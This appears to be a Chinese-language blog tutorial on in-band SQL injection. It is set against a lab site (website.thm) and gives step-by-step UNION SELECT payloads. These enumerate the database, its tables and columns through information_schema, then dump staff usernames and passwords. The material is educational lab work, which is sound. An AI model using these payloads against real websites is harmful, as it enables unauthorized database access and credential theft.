SQL注入漏洞-明注

SQL(Structured Query Language) injection (SQLi) 

是一种透过攻击数据库并让数据库执行非法指令,威胁之大在OWASP连续霸榜第一三年之久

数据库和sql这里就不多说了 如果不清楚这两个是什么 可以去看看sql视频

这里举个例子 比如一个网站url是 https://website.thm/blog?id=1

可以看到id=1 也就是从表格抓取了id为1并显示出来

SELECT * from blog where id=1 and private=0 LIMIT 1;
 

如果我们要调取id为2,而且假设2的private值是1 也就是是私人的

https://website.thm/blog?id=2;-- 


SELECT * from blog where id=2;-- and private=0 LIMIT 1;
 

--  这里代表着注释掉后面的query 也就是只执行了SELECT * from blog where id=2;

无论是否公开2的文章现在都会显示出来了

注入种类

明文注入(我个人喜欢这么叫) 但是系统的就是 In-Band Sql Injection

这里的注入比较简单 因为数据库会直接把错误显示在web上

这里举个例子 我们在原有的url 加入 ‘ 来看看回显是什么

这个时候我们能够看到报错回显了 证明了有sql注入漏洞并且是明文注入

第一步:

需要让他不报错并把正确回显给我们 我们这里可以试试

1 UNION SELECT 1

报错了 并且报错显示的是 有多列

我们可以一直试直到不报错 

我们试到 3列后就不报错了 证明okay了

第二步: 

从上图可以看到 正常返回了 但是sql会反馈第一个返回结果也就是1的结果,那么我们如果要深入渗透进去数据库 我们要第一个返回结果不是1的结果(1的结果就是文章)我们可以改成-1

改好之后就会发现文章不显示了 现在返回值 1,2,3 了

第三步:

确定用的数据库名字

-1 UNION SELECT 1,2,database()

可以看到原本3的值现在改成了sql 数据库的名字了

第四步

我们要挖出来sqli_one里面所含的东西

这里有几个东西要说一下

information_schema 数据库  每个用户都能访问 包含了所有数据库和表的信息

group_concat()方法 从多个返回的行中获取指定的列

table_name 表名字

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

这里就会返回了数据库里面所有表名字 我们可以看到这里有两个表 一个arcticle 一个staff_users

staff_users包含了所有用户密码 那么正常来说这个是黑客最想去的地方

-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

这里我们找到了所有列名字 id,password,username

 

-1 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

这里我们可以看到了密码出来了 明文注入就好了

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值